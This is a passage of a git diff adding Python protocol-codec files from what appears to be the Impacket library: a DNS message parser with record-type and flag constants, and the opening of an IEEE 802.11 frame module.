+#   - 1996 - A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY) [https://www.ietf.org/rfc/rfc1996.txt]
+#   - 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE) [https://www.ietf.org/rfc/rfc2136.txt]
+#   - 2181 - Clarifications to the DNS Specification [https://www.ietf.org/rfc/rfc2181.txt]
+#   - 2308 - Negative Caching of DNS Queries (DNS NCACHE) [https://www.ietf.org/rfc/rfc2308.txt]
+#   - 2535 - Domain Name System Security Extensions (DNSSEC) [https://www.ietf.org/rfc/rfc2535.txt]
+#   - 2671 - Extension Mechanisms for DNS (EDNS0) [https://www.ietf.org/rfc/rfc2671.txt]
+#   - 2782 - A DNS RR for specifying the location of services (DNS SRV) [https://www.ietf.org/rfc/rfc2782.txt]
+#   - 2930 - Secret Key Establishment for DNS (TKEY RR) [https://www.ietf.org/rfc/rfc2930.txt]
+#   - 3645 - Generic Security Service Algorithm for Secret Key Transaction Authentication for DNS (GSS-TSIG) [https://www.ietf.org/rfc/rfc3645.txt]
+#   - 3646 - DNS Configuration options for Dynamic Host Configuration Protocol for IPv6 (DHCPv6) [https://www.ietf.org/rfc/rfc3646.txt]
+#
+# Author:
+#   Andres Blanco
+#   Gustavo Moreira
+#
+
+import socket
+import struct
+
+from impacket.ImpactPacket import ProtocolPacket
+
+
+class DNSFlags():
+    'Bitmap with the flags of a dns packet.'
+    # QR - Query/Response - 1 bit
+    QR_QUERY                = int("0000000000000000", 2)
+    QR_RESPONSE             = int("1000000000000000", 2)
+    # OP - Opcode - 4 bits
+    OP_STANDARD_QUERY       = int("0000000000000000", 2) # Standard query.
+    OP_INVERSE_QUERY        = int("0100000000000000", 2) # Inverse query.
+    OP_STATUS_QUERY         = int("0010000000000000", 2) # Server status request.
+    OP_NOTIFY               = int("0000100000000000", 2) # Notify.
+    OP_UPDATE               = int("0100100000000000", 2) # Update.
+    # AA - Authority Answer - 1 bit
+    AA_NOT_AUTH_ANSWER      = int("0000000000000000", 2) # Not authoritative.
+    AA_AUTH_ANSWER          = int("0000010000000000", 2) # Is authoritative.
+    # TC - Truncated - 1 bit
+    TC_NOT_TRUNCATED        = int("0000000000000000", 2) # Not truncated.
+    TC_TRUNCATED            = int("0000001000000000", 2) # Message truncated.
+    # RD - Recursion Desired - 1 bit
+    RD_NOT_RECURSIVE_QUERY  = int("0000000000000000", 2) # Recursion not desired.
+    RD_RECURSIVE_QUERY      = int("0000000100000000", 2) # Recursion desired.
+    # RA - Recursion Available - 1 bit
+    RA_NOT_AVAILABLE        = int("0000000000000000", 2) # Recursive query support not available.
+    RA_AVAILABLE            = int("0000000010000000", 2) # Recursive query support available.
+    # Z - 3 bits
+    Z                       = int("0000000000000000", 2)
+    # AD - Authenticated Data - 1 bit
+    AUTHENTICATED_DATA      = int("0000000000100000", 2)
+    # CD - Checking Disabled - 1 bit
+    CHECKING_DISABLED       = int("0000000000010000", 2)
+    # RCODE - 4 bits
+    RCODE_NO_ERROR          = int("0000000000000000", 2) # The request completed successfully.
+    RCODE_FORMAT_ERROR      = int("0000000000001000", 2) # The name server was unable to interpret the query.
+    RCODE_SERVER_FAILURE    = int("0000000000000100", 2) # The name server was unable to process this query due to a problem with the name server.
+    RCODE_NAME_ERROR        = int("0000000000001100", 2) # Meaningful only for responses from an authoritative name server, this code signifies that the domain name referenced in the query does not exist.
+    RCODE_NOT_IMPLEMENTED   = int("0000000000000010", 2) # Not Implemented. The name server does not support the requested kind of query.
+    RCODE_REFUSED           = int("0000000000001010", 2) # The name server refuses to perform the specified operation for policy reasons. 
+    RCODE_YXDOMAIN          = int("0000000000000110", 2) # Name Exists when it should not.
+    RCODE_YXRRSET           = int("0000000000001110", 2) # RR Set Exists when it should not.
+    RCODE_NXRRSET           = int("0000000000000001", 2) # RR Set that should exist does not.
+    RCODE_NOAUTH            = int("0000000000001001", 2) # Server Not Authoritative for zone.
+    RCODE_NOTZONE           = int("0000000000000101", 2) # Name not contained in zone.
+
+class DNSType():
+    A            = 1     # IPv4 address.
+    NS           = 2     # Authoritative name server.
+    MD           = 3     # Mail destination. Obsolete use MX instead.
+    MF           = 4     # Mail forwarder. Obsolete use MX instead.
+    CNAME        = 5     # Canonical name for an alias.
+    SOA          = 6     # Marks the start of a zone of authority.
+    MB           = 7     # Mailbox domain name.
+    MG           = 8     # Mail group member.
+    MR           = 9     # Mail rename domain name.
+    NULL         = 10    # Null resource record.
+    WKS          = 11    # Well known service description.
+    PTR          = 12    # Domain name pointer.
+    HINFO        = 13    # Host information.
+    MINFO        = 14    # Mailbox or mail list information.
+    MX           = 15    # Mail exchange.
+    TXT          = 16    # Text strings.
+    RP           = 17    # Responsible Person.
+    AFSDB        = 18    # AFS Data Base location.
+    X25          = 19    # X.25 PSDN address.
+    ISDN         = 20    # ISDN address.
+    RT           = 21    # Route Through.
+    NSAP         = 22    # NSAP address. NSAP style A record.
+    NSAP_PTR     = 23    # NSAP pointer.
+    SIG          = 24    # Security signature.
+    KEY          = 25    # Security key.
+    PX           = 26    # X.400 mail mapping information.
+    GPOS         = 27    # Geographical Position.
+    AAAA         = 28    # IPv6 Address.
+    LOC          = 29    # Location Information.
+    NXT          = 30    # Next Domain (obsolete).
+    EID          = 31    # Endpoint Identifier.
+    NB           = 32    # NetBIOS general Name Service.
+    NBSTAT       = 33    # NetBIOS NODE STATUS.
+    ATMA         = 34    # ATM Address.
+    NAPTR        = 35    # Naming Authority Pointer.
+    KX           = 36    # Key Exchanger.
+    CERT         = 37
+    A6           = 38
+    DNAME        = 39
+    SINK         = 40
+    OPT          = 41
+    APL          = 42
+    DS           = 43    # Delegation Signer.
+    SSHFP        = 44    # SSH Key Fingerprint.
+    IPSECKEY     = 45
+    RRSIG        = 46
+    NSEC         = 47    # NextSECure.
+    DNSKEY       = 48
+    DHCID        = 49    # DHCP identifier.
+    NSEC3        = 50
+    NSEC3PARAM   = 51
+    
+    HIP          = 55    # Host Identity Protocol.
+    NINFO        = 56
+    RKEY         = 57
+    
+    SPF          = 99    # Sender Policy Framework.
+    UINFO        = 100
+    UID          = 101
+    GID          = 102
+    UNSPEC       = 103
+    
+    TKEY         = 249
+    TSIG         = 250   # Transaction Signature.
+    IXFR         = 251   # Incremental transfer.
+    AXFR         = 252   # A request for a transfer of an entire zone.
+    MAILB        = 253   # A request for mailbox-related records (MB, MG or MR).
+    MAILA        = 254   # A request for mail agent RRs. Obsolete.
+    ALL          = 255   # A request for all records.
+    
+    DNSSEC       = 32768 # Trust Authorities.
+    DNSSEC       = 32769 # DNSSEC Lookaside Validation.
+    
+    @staticmethod
+    def getTypeName(type):
+        for item, value in list(DNSType.__dict__.items()):
+            if value == type:
+                return item
+    
+
+class DNSClass():
+    RESERVED     = 0
+    IN           = 1 # Internet.
+    CH           = 3 # Chaos.
+    HS           = 4 # Hesiod.
+    
+    NONE         = 254
+    ANY          = 255 # QCLASS only
+    
+    @staticmethod
+    def getClassName(type):
+        for item, value in list(DNSClass.__dict__.items()):
+            if value == type:
+                return item
+
+class DNS(ProtocolPacket):
+    '''The Message Header is present in all messages. Never empty.
+    Contains various flags and values which control the transaction.'''
+    
+    __TYPE_LEN       = 2 # Unsigned 16 bit value.
+    __CLASS_LEN      = 2 # Unsigned 16 bit value.
+    __POINTER_LEN    = 2 # A pointer is an unsigned 16-bit value.
+    __TTL_LEN        = 4 # Unsigned 32 bit value. The time in seconds that the record may be cached.
+    __RDLENGTH_LEN   = 2 # Unsigned 16-bit value that defines the length in bytes (octets) of the RDATA record.
+    __TYPE_A_LEN     = 4 # Unsigned 32-bit value representing the IP address.
+    __SERIAL_LEN     = 4 # Serial Number  Unsigned 32-bit integer.
+    __REFRESH_LEN    = 4 # Refresh interval  Unsigned 32-bit integer.
+    __RETRY_LEN      = 4 # Retry Interval  Unsigned 32-bit integer.
+    __EXPIRATION_LEN = 4 # Expiration Limit  Unsigned 32-bit integer.
+    __MINTTL_LEN     = 4 # Minimum TTL  Unsigned 32-bit integer.
+    __PREF_LEN       = 2 # Preference  Unsigned 16-bit integer.
+    __IS_POINTER   = int("11000000", 2)
+    __OFFSETMASK   = int("00111111", 2)
+    
+    def __init__(self, aBuffer = None):
+        self.__HEADER_BASE_SIZE = 12
+        self.__TAIL_SIZE        = 0
+        ProtocolPacket.__init__(self, self.__HEADER_BASE_SIZE, self.__TAIL_SIZE)
+        if aBuffer:
+            self.load_packet(aBuffer)
+    
+    def get_transaction_id(self):
+        'Get 16 bit message ID.'
+        return self.header.get_word(0)
+    
+    def set_transaction_id(self, value):
+        'Set 16 bit message ID.'
+        self.header.set_word(0, value)
+    
+    def get_transaction_id_tcp(self):
+        'Get 16 bit message ID.'
+        return self.header.get_word(2)
+    
+    def set_transaction_id_tcp(self, value):
+        'Set 16 bit message ID.'
+        self.header.set_word(2, value)
+
+    def get_flags(self):
+        'Get 16 bit flags.'
+        return self.header.get_word(2)
+
+    def set_flags(self, value):
+        'Set 16 bit flags.'
+        self.header.set_word(2, value)
+
+    def get_flags_tcp(self):
+        'Get 16 bit flags.'
+        return self.header.get_word(4)
+    
+    def set_flags_tcp(self, value):
+        'Set 16 bit flags.'
+        self.header.set_word(4, value)
+    
+    def get_qdcount(self):
+        'Get Unsigned 16 bit integer specifying the number of entries in the question section.'
+        return self.header.get_word(4)
+    
+    def set_qdcount(self, value):
+        'Set Unsigned 16 bit integer specifying the number of entries in the question section.'
+        self.header.set_word(4, value)
+    
+    def get_qdcount_tcp(self):
+        'Get Unsigned 16 bit integer specifying the number of entries in the question section.'
+        return self.header.get_word(6)
+    
+    def set_qdcount_tcp(self, value):
+        'Set Unsigned 16 bit integer specifying the number of entries in the question section.'
+        self.header.set_word(6, value)
+
+    def get_ancount(self):
+        'Get Unsigned 16 bit integer specifying the number of resource records in the answer section'
+        return self.header.get_word(6)
+    
+    def set_ancount(self, value):
+        'Set Unsigned 16 bit integer specifying the number of resource records in the answer section'
+        self.header.set_word(6, value)
+    
+    def get_nscount(self):
+        'Get Unsigned 16 bit integer specifying the number of name server resource records in the authority section.'
+        return self.header.get_word(8)
+    
+    def set_nscount(self, value):
+        'Set Unsigned 16 bit integer specifying the number of name server resource records in the authority section.'
+        self.header.set_word(8, value)
+    
+    def get_arcount(self):
+        'Get Unsigned 16 bit integer specifying the number of resource records in the additional records section.'
+        return self.header.get_word(10)
+    
+    def set_arcount(self, value):
+        'Set Unsigned 16 bit integer specifying the number of resource records in the additional records section.'
+        self.header.set_word(10, value)
+    
+    def get_questions(self):
+        'Get a list of the DNS Question.'
+        return self.__get_questions()[0]
+    
+    def __get_questions(self):
+        aux = []
+        offset   = 0
+        qdcount = self.get_qdcount()
+        data    = self.get_body_as_string()
+        for _ in range(qdcount): # number of questions
+            offset, qname = self.parseCompressedMessage(data, offset)
+            qtype  = data[offset:offset+self.__TYPE_LEN]
+            offset  += self.__TYPE_LEN
+            qclass = data[offset:offset+self.__CLASS_LEN]
+            offset  += self.__CLASS_LEN
+            qtype  = struct.unpack("!H", qtype)[0]
+            qclass = struct.unpack("!H", qclass)[0]
+            aux.append((qname, qtype, qclass))
+        return (aux, offset)
+
+    def get_questions_tcp(self):
+        'Get a list of the DNS Question.'
+        return self.__get_questions_tcp()[0]
+
+    def __get_questions_tcp(self):
+        aux = []
+        offset   = 2
+        qdcount = self.get_qdcount_tcp()
+        data    = self.get_body_as_string()
+        for _ in range(qdcount): # number of questions
+            offset, qname = self.parseCompressedMessage(data, offset)
+            qtype  = data[offset:offset+self.__TYPE_LEN]
+            offset  += self.__TYPE_LEN
+            qclass = data[offset:offset+self.__CLASS_LEN]
+            offset  += self.__CLASS_LEN
+            qtype  = struct.unpack("!H", qtype)[0]
+            qclass = struct.unpack("!H", qclass)[0]
+            aux.append((qname, qtype, qclass))
+        return (aux, offset)
+
+    def parseCompressedMessage(self, buf, offset=0):
+        'Parse compressed message defined on rfc1035 4.1.4.'
+        if offset >= len(buf):
+            raise Exception("No more data to parse. Offset is bigger than length of buffer.")
+        byte = struct.unpack("B", buf[offset:offset+1])[0]
+        #  if the first two bits are ones (11000000=0xC0), the next bits are the offset
+        if byte & 0xC0 == 0xC0:
+            # It's a pointer
+            pointer = struct.unpack("!H", buf[offset:offset+2])[0] # network unsigned short
+            pointer = (pointer & 0x3FFF) - self.__HEADER_BASE_SIZE
+            if offset == pointer:
+                raise Exception("The infinite loop is in DNS decompression. Encountered pointer points to the current offset.")
+            offset += 2
+            name = self.parseCompressedMessage(buf, pointer)[1]
+            return (offset, name)
+        else:
+            # It's a label
+            if byte == 0x00:
+                offset += 1
+                return (offset, '')
+            offset += 1
+            name = buf[offset:offset+byte]
+            offset += byte
+            offset, unnamed = self.parseCompressedMessage(buf, offset)
+            if not unnamed:
+                return (offset, name)
+            else:
+                return (offset, name + b"." + unnamed)
+    
+    def get_answers(self):
+        return self.__get_answers()[0]
+    
+    def get_authoritative(self):
+        return self.__get_authoritative()[0]
+    
+    def get_additionals(self):
+        return self.__get_additionals()[0]
+    
+    def __get_answers(self):
+        offset  = self.__get_questions()[1] # get the initial offset
+        ancount = self.get_ancount()
+        return self.__process_answer_structure(offset, ancount)
+    
+    def __get_authoritative(self):
+        'Get a list of the DNS Authoritative.'
+        offset  = self.__get_answers()[1] # get the initial offset
+        nscount = self.get_nscount()
+        return self.__process_answer_structure(offset, nscount)
+    
+    def __get_additionals(self):
+        'Get a list of the DNS Additional Records.'
+        offset  = self.__get_authoritative()[1] # get the initial offset
+        arcount = self.get_arcount()
+        return self.__process_answer_structure(offset, arcount)
+    
+    def __process_answer_structure(self, offset, num):
+        aux  = []
+        data = self.get_body_as_string()
+        for _ in range(num):
+            offset, qname = self.parseCompressedMessage(data, offset)
+            qtype  = data[offset:offset+self.__TYPE_LEN]
+            qtype  = struct.unpack("!H", qtype)[0]
+            offset  += self.__TYPE_LEN
+            
+            qclass = data[offset:offset+self.__CLASS_LEN]
+            qclass = struct.unpack("!H", qclass)[0]
+            offset  += self.__CLASS_LEN
+            
+            qttl_raw = data[offset:offset+self.__TTL_LEN]
+            qttl = struct.unpack("!L", qttl_raw)[0]
+            offset  += self.__TTL_LEN
+            
+            qrdlength = data[offset:offset+self.__RDLENGTH_LEN]
+            qrdlength = struct.unpack("!H", qrdlength)[0]
+            offset  += self.__RDLENGTH_LEN
+            
+            qrdata = {}
+            if qtype == DNSType.A:
+                # IP Address  Unsigned 32-bit value representing the IP address
+                qrdata["IPAddress"] = socket.inet_ntoa(data[offset:offset+qrdlength])
+                offset  += self.__TYPE_A_LEN
+            elif qtype == DNSType.SOA:
+                # Primary NS  Variable length. The name of the Primary Master for the domain. May be a label, pointer or any combination.
+                offset, primaryNs = self.parseCompressedMessage(data, offset)
+                qrdata["PrimaryNS"] = primaryNs
+                # Admin MB  Variable length. The administrator's mailbox. May be a label, pointer or any combination.
+                offset, adminMb = self.parseCompressedMessage(data, offset)
+                qrdata["AdminMB"] = adminMb
+                # Serial Number  Unsigned 32-bit integer.
+                qrdata["SerialNumber"] = struct.unpack("!L", data[offset:offset+self.__SERIAL_LEN])[0]
+                offset += self.__SERIAL_LEN
+                # Refresh interval  Unsigned 32-bit integer.
+                qrdata["RefreshInterval"] = struct.unpack("!L", data[offset:offset+self.__REFRESH_LEN])[0]
+                offset += self.__REFRESH_LEN
+                # Retry Interval  Unsigned 32-bit integer.
+                qrdata["RetryInterval"] = struct.unpack("!L", data[offset:offset+self.__RETRY_LEN])[0]
+                offset += self.__RETRY_LEN
+                # Expiration Limit  Unsigned 32-bit integer.
+                qrdata["ExpirationLimit"] = struct.unpack("!L", data[offset:offset+self.__EXPIRATION_LEN])[0]
+                offset += self.__EXPIRATION_LEN
+                # Minimum TTL  Unsigned 32-bit integer.
+                qrdata["MinimumTTL"] = struct.unpack("!L", data[offset:offset+self.__MINTTL_LEN])[0]
+                offset += self.__MINTTL_LEN
+            elif qtype == DNSType.MX:
+                # Preference  Unsigned 16-bit integer.
+                qrdata["Preference"] = struct.unpack("!H", data[offset:offset+self.__PREF_LEN])[0]
+                # Mail Exchanger  The name host name that provides the service. May be a label, pointer or any combination.
+                offset, mailExch = self.parseCompressedMessage(data, offset)
+                qrdata["MailExchanger"] = mailExch
+            elif qtype == DNSType.PTR or qtype == DNSType.NS or qtype == DNSType.CNAME:
+                # Name  The host name that represents the supplied IP address (in the case of a PTR) or the NS name for the supplied domain (in the case of NS). May be a label, pointer or any combination.
+                offset, name = self.parseCompressedMessage(data, offset)
+                qrdata["Name"] = str(name.decode('ascii'))
+            elif qtype == DNSType.OPT:
+                # rfc2671 4.3
+                #NAME         domain name    empty (root domain)
+                #TYPE         u_int16_t      OPT
+                #CLASS        u_int16_t      sender's UDP payload size
+                #TTL          u_int32_t      extended RCODE and flags
+                #RDLEN        u_int16_t      describes RDATA
+                #RDATA        octet stream   {attribute,value} pairs
+                #udp_payload = qclass
+                udp_payload_size = qclass
+                ext_rcode = struct.unpack("B", qttl_raw[0:1])[0]
+                version = struct.unpack("B", qttl_raw[1:2])[0]
+                flags = struct.unpack("!H", qttl_raw[2:4])[0]
+                qrdata["RDATA"] = data[offset:offset+qrdlength]
+                offset  += qrdlength
+                aux.append((qname, qtype, udp_payload_size, ext_rcode, version, flags, qrdata))
+                continue   
+            else:
+                # We don't know how to parse it, just skip it
+                offset  += qrdlength
+                
+            aux.append((qname, qtype, qclass, qttl, qrdata))
+        return (aux, offset)
+    
+    def get_header_size(self):
+        return self.__HEADER_BASE_SIZE
+    
+    def __str__(self):
+        res = ""
+        
+        id      = self.get_transaction_id()
+        flags   = self.get_flags()
+        qdcount = self.get_qdcount()
+        ancount = self.get_ancount()
+        nscount = self.get_nscount()
+        arcount = self.get_arcount()
+        
+        res += "DNS "
+        if flags & DNSFlags.QR_RESPONSE:
+            res += "RESPONSE\n"
+        else:
+            res += "QUERY\n"
+        
+        res += " - Transaction ID -- [0x%04x] %d\n" % (id, id)
+        res += " - Flags ----------- [0x%04x] %d\n" % (flags, flags)
+        res += " - QdCount --------- [0x%04x] %d\n" % (qdcount, qdcount)
+        res += " - AnCount --------- [0x%04x] %d\n" % (ancount, ancount)
+        res += " - NsCount --------- [0x%04x] %d\n" % (nscount, nscount)
+        res += " - ArCount --------- [0x%04x] %d\n" % (arcount, arcount)
+        
+        if qdcount > 0:
+            res += " - Questions:\n"
+            questions = self.get_questions()
+            questions.reverse()
+            while(questions):
+                qname, qtype, qclass = questions.pop()
+                format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass)
+                res += "  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x]\n" % format
+        
+        if ancount > 0:
+            res += " - Answers:\n"
+            answers = self.get_answers()
+            answers.reverse()
+            while(answers):
+                qname, qtype, qclass, qttl, qrdata = answers.pop()
+                format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))
+                res += "  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\n" % format
+        
+        if nscount > 0:
+            res += " - Authoritative:\n"
+            authoritative = self.get_authoritative()
+            authoritative.reverse()
+            while(authoritative):
+                qname, qtype, qclass, qttl, qrdata = authoritative.pop()
+                format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))
+                res += "  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\n" % format
+        
+        if arcount > 0:
+            res += " - Additionals:\n"
+            additionals = self.get_additionals()
+            for additional in additionals:
+                qtype = additional[1]
+                if qtype == DNSType.OPT:
+                    
+                    qname, qtype, udp_payload_size, ext_rcode, version, flags, qrdata = additional
+                    format = (DNSType.getTypeName(qtype), qtype, udp_payload_size, ext_rcode, version, flags, repr(qrdata['RDATA']))
+                    res += "  * Name: <Root> - Type: %s [0x%04x] - udp payload size: [%d] - extended RCODE: [0x%02x] - EDNS0 version: [0x%02x] - Z Flags: [0x%02x] - RDATA: [%s]\n" % format
+                else:
+                    qname, qtype, qclass, qttl, qrdata = additional
+                    format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))
+                    res += "  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\n" % format
+        
+        return res
+ 
+    def __get_questions_raw(self):
+        if self.get_qdcount() == 0:
+            return ''
+        questions_offset = self.__get_questions()[1]
+        raw_data  = self.get_body_as_string()[:questions_offset]
+        return raw_data
+
+    def __get_answers_raw(self):
+        if self.get_ancount() == 0:
+            return ''
+        questions_offset = self.__get_questions()[1]
+        answers_offset = self.__get_answers()[1]
+        raw_data  = self.get_body_as_string()[questions_offset: answers_offset]
+        return raw_data
+
+    def __get_authoritative_raw(self):
+        if self.get_nscount() == 0:
+            return ''
+        answers_offset = self.__get_answers()[1]
+        authoritative_offset = self.__get_authoritative()[1]
+        raw_data  = self.get_body_as_string()[answers_offset:authoritative_offset]
+        return raw_data
+
+    def __get_additionals_raw(self):
+        if self.get_arcount() == 0:
+            return ''
+        authoritative_offset = self.__get_authoritative()[1]
+        raw_data  = self.get_body_as_string()[authoritative_offset:]
+        return raw_data
+
+    def add_answer(self, answer_raw):
+        '''Add a raw answer'''
+        questions_raw = self.__get_questions_raw()
+        answers_raw = self.__get_answers_raw()
+        authoritative_raw = self.__get_authoritative_raw()
+        additionals_raw = self.__get_additionals_raw()
+        
+        answers_raw += answer_raw
+        
+        body = questions_raw + answers_raw + authoritative_raw + additionals_raw
+        self.load_body(body) # It breaks children hierarchy
+        
+        # Increment the answer count  
+        cur_answer_count = self.get_ancount()+1
+        self.set_ancount(cur_answer_count)
+
+    def is_edns0(self):
+        additionals = self.get_additionals()
+        for item in additionals:
+            response_type = item[1]
+            if response_type == DNSType.OPT:
+                return True
+        return False
diff --git a/impacket/dot11.py b/impacket/dot11.py
new file mode 100644
index 0000000..e5c276f
--- /dev/null
+++ b/impacket/dot11.py
@@ -0,0 +1,3090 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   IEEE 802.11 Network packet codecs.
+#
+# Author:
+#   Gustavo Moreira
+#
+
+import struct
+from binascii import crc32
+
+from impacket.ImpactPacket import ProtocolPacket, array_tobytes
+from impacket.Dot11Crypto import RC4
+frequency = {
+    2412: 1,    2417: 2,    2422: 3,    2427: 4,    2432: 5,    2437: 6,    2442: 7,    2447: 8,    2452: 9,
+    2457: 10,   2462: 11,   2467: 12,   2472: 13,   2484: 14,   5170: 34,   5180: 36,   5190: 38,   5200: 40,
+    5210: 42,   5220: 44,   5230: 46,   5240: 48,   5260: 52,   5280: 56,   5300: 60,   5320: 64,   5500: 100,
+    5510: 102,  5520: 104,  5530: 106,  5540: 108,  5550: 110,  5560: 112,  5570: 114,  5580: 116,  5590: 118,
+    5600: 120,  5610: 122,  5620: 124,  5630: 126,  5640: 128,  5650: 130,  5660: 132,  5670: 134,  5680: 136,
+    5690: 138,  5700: 140,  5745: 149,  5765: 153,  5785: 157,  5805: 161,  5825: 165,  5855: 170,  5860: 172,
+    5865: 173,  5870: 174,  5875: 175,  5880: 176,  5885: 177,  5890: 178,  5895: 179,  5900: 180,  5905: 181,
+    5910: 182,  5915: 183,  5920: 184,
+}
+
+
+class Dot11ManagementCapabilities():
+    #
+    # Capability Information
+    #   0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
+    # +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
+    # | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
+    # +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
+    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |---+-- Reserved
+    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |---------- DSSS-OFDM
+    #   |   |   |   |   |   |   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |   |   |   |   |   |---+-------------- Reserved
+    #   |   |   |   |   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |   |   |   |   |---------------------- Short slot time
+    #   |   |   |   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |   |   |---+-------------------------- Reserved
+    #   |   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |   |---------------------------------- Channel agility (802.11b)
+    #   |   |   |   |   |   |   |
+    #   |   |   |   |   |   |   |-------------------------------------- PBCC (802.11b)
+    #   |   |   |   |   |   |
+    #   |   |   |   |   |   |------------------------------------------ Short preamble (802.11b)
+    #   |   |   |   |   |
+    #   |   |   |   |   |---------------------------------------------- Privacy
+    #   |   |   |   |
+    #   |   |   |   |-------------------------------------------------- CF-Poll request
+    #   |   |   |
+    #   |   |   |------------------------------------------------------ CF-Pollable
+    #   |   |
+    #   |   |---------------------------------------------------------- IBSS
+    #   |
+    #   |-------------------------------------------------------------- ESS
+    #
+    CAPABILITY_RESERVED_1      = int("1000000000000000", 2)
+    CAPABILITY_RESERVED_2      = int("0100000000000000", 2)
+    CAPABILITY_DSSS_OFDM       = int("0010000000000000", 2)
+    CAPABILITY_RESERVED_3      = int("0001000000000000", 2)
+    CAPABILITY_RESERVED_4      = int("0000100000000000", 2)
+    CAPABILITY_SHORT_SLOT_TIME = int("0000010000000000", 2)
+    CAPABILITY_RESERVED_5      = int("0000001000000000", 2)
+    CAPABILITY_RESERVED_6      = int("0000000100000000", 2)
+    CAPABILITY_CH_AGILITY      = int("0000000010000000", 2)
+    CAPABILITY_PBCC            = int("0000000001000000", 2)
+    CAPABILITY_SHORT_PREAMBLE  = int("0000000000100000", 2)
+    CAPABILITY_PRIVACY         = int("0000000000010000", 2)
+    CAPABILITY_CF_POLL_REQ     = int("0000000000001000", 2)
+    CAPABILITY_CF_POLLABLE     = int("0000000000000100", 2)
+    CAPABILITY_IBSS            = int("0000000000000010", 2)
+    CAPABILITY_ESS             = int("0000000000000001", 2)
+
+class Dot11Types():
+    # Management Types/SubTypes
+    DOT11_TYPE_MANAGEMENT                           = int("00",2)
+    DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST    = int("0000",2)
+    DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE   = int("0001",2)
+    DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST  = int("0010",2)
+    DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE = int("0011",2)
+    DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST          = int("0100",2)
+    DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE         = int("0101",2)
+    DOT11_SUBTYPE_MANAGEMENT_RESERVED1              = int("0110",2)
+    DOT11_SUBTYPE_MANAGEMENT_RESERVED2              = int("0111",2)
+    DOT11_SUBTYPE_MANAGEMENT_BEACON                 = int("1000",2)
+    DOT11_SUBTYPE_MANAGEMENT_ATIM                   = int("1001",2)
+    DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION         = int("1010",2)
+    DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION         = int("1011",2)
+    DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION       = int("1100",2)
+    DOT11_SUBTYPE_MANAGEMENT_ACTION                 = int("1101",2)
+    DOT11_SUBTYPE_MANAGEMENT_RESERVED3              = int("1110",2)
+    DOT11_SUBTYPE_MANAGEMENT_RESERVED4              = int("1111",2)
+
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_REQUEST = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_RESPONSE = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_REQUEST = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_RESPONSE = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_REQUEST = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_RESPONSE = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED1 = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED1<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED2 = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED2<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_BEACON = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_BEACON<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_ATIM = \
